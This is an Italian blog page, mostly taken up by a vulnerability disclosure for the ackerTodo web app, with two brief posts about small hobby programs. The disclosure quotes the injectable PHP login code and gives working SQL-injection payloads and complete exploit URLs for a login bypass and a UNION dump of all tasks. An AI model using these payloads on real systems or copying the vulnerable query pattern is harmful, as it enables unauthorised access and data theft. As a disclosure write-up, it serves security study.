Su Linux esiste il programma “fortune” che, proprio come farebbe un “biscottino della fortuna”, mostra frasi, detti, leggi e magari qualche insulto sul tuo terminale.

“Fortune” si fa piccolo piccolo e arriva sul tuo cellulare :)

Screenshot mobile

Continua…

Piccolo, utile/inutile programmino che vi terrà compagnia mostrandovi le ultime 20 immagini postate su LJ e provenienti da bloggers di tutto il mondo.

Potete vederlo in azione, nella sua veste di POC (Proof Of Concept) aka “la pagina è scarna, ma per funzionare funziona”.

Ci sono due versioni disponibili, la versione originale Java e il porting per PHP5

ATTENZIONE! Le immagini sono random, prese liberamente dai feed xml di LJ, senza nessun tipo di censura

English Version:

Stupid, useful/unuseful program that keep company to you showing last 20 pics uploaded on LJ coming from all world’s boggers.

You can see it in action, in POC-style (Proof of Concept) aka “yes, page is simple but it works!”.

The are two versions available: The original written in Java and the porting made for PHP5

WARNING! Pics are taken random from LJ xml-feed, without censorship. viewer discretion is advised

L’ultima versione del bellissimo programma ackerTodo è affetto da una vulnerabilità che permette a chiunque di visualizzare i tasks presenti nel database.

Preface:

ackerTodo is a light-weight web based todo list manager written by Rob Hensley that supports multiple users, groups, categories, super categories, recurring tasks (Daily, Weekly, Monthly, Yearly, Open-Ended), modules, a CLI interface, email notification, file upload capabilites, and many more features. It is also available in 16 different languages.

Il problema era localizato nel file gadget/login.php alle righe:

$user_login = trim($_REQUEST['up_login']);
$user_pass = trim($_REQUEST['up_pass']);
$num_tasks = trim($_REQUEST['up_num_tasks']);

Utilizzate poi più sotto:

$result = db_query("SELECT * FROM ".$table_prefix."users "
."WHERE login='$user_login' "
."AND password=md5('$user_pass')");

E ancora più sotto:

$sql = $sql . ' LIMIT ' . $num_tasks;

Se il webserver esegue php con il parametro magic_quotes_gpc disabilitato, possiamo eseguire ben due diverse SQL-Injection.

La prima per loggarci nel sistema senza conoscere la password, e la seconda per ricevere la lista completa di tutti i tasks registrati nel database.

Supponiamo che la nostra username sia ‘admin’ e la nostra pass wrongpass’.

La query eseguita sarà la seguente:

SELECT * FROM users WHERE login='admin' AND password=md5('wrongpass')

Dopo l’esecuzione della query il programma esegue il seguente controllo:

if(!$result || mysql_num_rows($result) != 1) {
echo "Login Failure!";
exit;
}

Per poter quindi validare il controllo abbiamo bisogno che la query sia valida e che le riga ritornata dal database sia solo una.

Se la nostra query precedente diventasse:

SELECT * FROM users WHERE login='admin'
AND password=md5('wrongpass') OR ( '1' = '1' AND login='admin')

Riusciremmo ad ottenere esattamente quello che vogliamo, una riga sola, anche se la password inserita risultasse errata.

Questo può accadere perchè non esite nessun tipo di controllo sulla variabile $_REQUEST[‘up_pass’] e, a piacimento potrebbe diventare proprio

wrongpass') or ('1'='1' AND login='admin

Riassumendo, il primo exploit può essere eseguito semplicemnte puntando il proprio browser verso l’host “vittima” http://host.com/gadget/login.php?up_login=admin&
up_pass=wrongpass’)%20or%20(%20’1’%20=
%20’1’%20AND%20login=’admin&up_num_tasks=100

La seconda SQL-Injection farà in modo di estrarre tutti i tasks presenti nel database sfruttando la possibilità di alterare la variabile $_REQUEST[‘up_num_tasks’]

La query che si occupa di estrarre tutti i relativi task dell’utente che si è appena loggato è questa:

SELECT * FROM tasks WHERE login='admin' LIMIT 100

La variabile $_REQUEST[‘up_num_tasks’] determina quante righe vadano estratte.

Se la variabile venisse modificata in ‘100 UNION SELECT * FROM tasks’ otterremmo la query finale:

SELECT * FROM tasks WHERE login='admin' LIMIT 100 UNION SELECT * FROM tasks

Ricevendo tutti i task presenti nel dabase (in questo caso solo 100, se ne volessimo di più basterebbe incrementare il LIMIT)

Per eseguire i due exploit basterà utilizzare il seguente url:

http://host.com/gadget/login.php?up_login=admin&
up_pass=wrongpass’)%20or%20(%20’1’%20=%20’1’%20AND
%20login=’admin&up_num_tasks=100%20UNION%20select%20*
%20FROM%20tasks

L’autore è stato informato della vulnerabilità a ha aggiunto una patch di sicurezza per la prossima release.
La vulnerabilità è diventata pubblica oggi e chi fosse iscritto alla ML di securityfocus avrà visto passare la mia mail

© 2013 Francesco Laurita' s blog Suffusion theme by Sayontan Sinha